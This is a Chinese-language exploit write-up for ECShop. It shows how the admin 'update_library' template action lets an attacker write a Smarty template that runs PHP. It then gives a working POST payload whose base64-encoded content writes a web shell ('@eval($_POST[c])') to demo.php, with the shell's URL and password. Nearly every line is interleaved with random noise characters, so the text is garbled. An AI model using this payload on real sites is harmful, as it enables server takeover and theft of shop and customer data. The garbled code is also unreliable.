首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板, L6 ~+ \1 G O% V1 _! }
+ u2 f1 L3 ]2 ~9 c
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了& H/ Y; `9 f0 Y) c6 o7 q
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
$ i d* U( O0 f( |; z2 }admin/template.php
! Q: c( b i4 r+ n& G0 |% }: G- ^. j+ t. r& z/ o
1 if ($_REQUEST['act'] == 'update_library')
. E& q+ X" k9 r- u% Y _7 ^( @/ a+ i( y
2 [+ w+ G/ E3 K% h8 M2
( | ^, }5 n/ ]# Y7 x2 P
) ^( J/ f S! M$ j7 M3 {
! Z, e6 A' o7 S0 X' t2 m: X6 w" v+ J' K* _) h
4 check_authz_json('library_manage');
9 _9 [/ Y* B8 }! l5 }, F3 u* E- ?. x( a+ q6 N$ Q% @- i1 n
5
) L0 d. w* y: M
# [# F C/ b3 Y6 $html = stripslashes(json_str_iconv($_POST['html'])); : ?& I8 T9 `3 [3 \5 c' h
; _8 t9 g" |. B0 C$ G7
H6 d2 I. e* u) p% e. Y7 P* ?* m4 U$ R- v2 k+ ~) ^0 F h- Q
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
% Z, S% `% L# Y, g
; p. \9 S6 w, k9 D8 M8 U8 n/ ]- }9
, x# j' l' K t' i
7 H* D* [% |/ ~4 P% s10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
2 j0 O2 N- t, A) h- h8 `3 u
: `& i$ I5 x4 S9 g$ k11 4 g& \% j' `# C b; u' m4 b( P3 B2 j
' M% H" W1 C: j! Z$ `8 o$ ~
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); - X: r# O; V" }, B
7 u% E: u8 I4 ] E6 I4 O( A( H13 % {# u& }2 u! o+ q2 Y
' t% O: y& X6 R6 D14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 / j( l$ i2 T& X5 ]' X5 H0 n
& v' W$ D5 ]: D
15 {
+ i$ W; W% g3 ?
/ S ^; z7 k3 g- k& I# ]7 B! }16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); - D; \* e7 s2 q% \4 }: i5 Z6 p
( ^) o7 Q" A9 R- l4 [3 [+ N17 make_json_result('', $_LANG['update_lib_success']);
( h! c3 T8 M" w f1 U7 O1 V7 G1 h9 t7 J' [; e9 n2 Y
18 } ; ~! g6 ]3 W; B C- e. @
: {7 G7 w1 O( R0 c
19 else
* f) ^' ?0 z6 N5 q
6 G5 \5 Z S) h+ m9 c+ }& B3 T20 { ) c" f+ o0 o* m. R
8 A2 G9 g* x( }" n4 p9 ]! {
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 5 f1 @! r8 b- v
3 k* t$ S2 d7 e7 [
22 }
+ f' K# D# g1 C+ |6 l. W# `# c4 y3 s6 ?0 Y9 ]5 Q/ h
23 }
4 m7 ?3 e# j2 l. j) u& @8 L% O0 k( \$ R% T) v: B" @5 H3 m+ `
那么找个比较方便调用了模板的文件
- o6 ?& w) [8 g# Findex.php
! v- l( L% E; x' O! O' G8 C
/ B n* ~. U) B: ~1 if ($act == 'cat_rec') , r- ^0 |" h9 b
2 B4 M6 M l8 k" ]4 @2 k2 E( W2 & y. U8 K- \5 k% z" y
' ]: M- i3 D1 k+ ]/ m" r. }' `& u) t
3 {
. L" S3 o/ C% w4 d" j' }) {% ]) n P7 r/ P( |2 [7 U
4
_8 [- E' D" {& s$ G* N9 k7 E
* _+ f) h/ n5 F: E" W5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); ( C+ K3 p4 k, X3 J- C, a; Y
- ^' N, q# I: l y6 5 r$ G" _( L! w! o5 I
- n7 V8 Q6 ^. I% W
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; " T9 V- o" o0 }) s+ u( n
& I# ^/ u0 T! T7 Y: w- G8 # i$ r0 \! Q) C
: _. t, I4 v6 ?/ K0 E
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 7 o4 ~3 _1 N% b: L3 F4 b; p# E8 _
4 b6 M6 d0 S$ \/ a
10 # w- L0 X) S, e0 w
7 d, {5 R9 @( [11 include_once('includes/cls_json.php'); ( @* z2 a/ Q' G
' ?8 e/ @' @ H+ H z9 u12
! e8 W: ~/ Q/ V9 i$ `% Q- Z9 b6 L! C" n3 {6 ^
13 $json = new JSON;
" e- x& `8 s, t+ M( c/ m$ w# i2 t, r1 I$ E) ?0 V, R
14
/ |9 {# j' F( I3 J0 `# a! [, ~
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
$ R# S7 ~* y( a2 e/ I1 Y p4 d- Z- ?- m$ e# N8 Q( a" f: V5 w; q
16
9 \+ H, H8 d% p0 _6 r) e
) a/ l/ S. i6 k$ E17 $children = get_children($cat_id); ! N( }6 [: D/ r
$ G9 n2 {( p# T9 G* {' r8 H18 9 y5 g( V C0 d% r6 w$ x- M! M
" ^$ a+ x8 r! C0 ?
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
6 V6 s& p% ~& K* e3 l/ ]( e+ S' D2 c, F2 k. ]. |& f
20 6 u( n. u0 L) _* L. @& y
1 u5 @" ^( D$ M I. ^5 r21 $smarty->assign('cat_rec_sign', 1);
- \# ?4 S6 C( b
7 B+ k9 x7 ^; |; j22
% D$ p# [* X- ^" [
) ` C( I! [: k0 q3 @: ^23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 1 l% g; n) v: H* M& j) T5 |7 U
' g8 `" a/ @& Z3 ]24 / w V. a- q( x& p1 D- `7 p
: w: _* f# m' ~9 i25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; & B; ~9 |3 O- r ]$ @7 i
! d. q5 s; e6 T4 W* a26
: o2 c5 R, R- K- |; Z, W/ d6 F. j2 q# j! c" f4 \
27 echo $rec_array[$rec_type]; 1 e! W, [1 ?* G/ B4 `4 Z7 c
: Y( Z/ q- |" _8 t4 `0 x6 m28
9 a9 T! s2 A% g, t! H4 n% J% J* N+ y" Z0 U
29 die($json->encode($result)); ) V6 G v. {2 f4 m/ E |
, }4 ?/ t5 d8 i2 ?" W+ Q
30 $ D3 t4 F" s7 E! j, @) `/ N; N
4 v+ Q0 e& Z, c3 [! u% b1 U
31 }
8 n4 W. F& V# T \: E5 E& i. A- k. F9 S0 w/ y
那么就有利用方法了
5 w( j+ b. Z; }4 \post包到http://localhost/ec/admin/template.php?act=update_library
$ h* i+ q6 S/ N" xPost内容:
7 x7 }( P/ h2 {& g- r* F0 I$ N+ `/ i; k3 r; @( `6 D, h* r/ R4 r/ f/ T
- f/ n/ r4 C) Z' C1 F+ h G' s1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} z m7 U6 @6 k6 T
: {# I: ~. T3 v2 w }& t然后访问http://localhost/ec/index.php?act=cat_rec
7 _& t* ^- } |# g) \ U
+ w" y [3 b/ o0 e( ~; P9 }shel地址:http://localhost/ec/demo.php
: @* ]# ?) J- j; x+ [密码c% {5 P" ~6 N/ }/ h% q- Z- n' B
; n7 I! X7 o2 _% i; [ |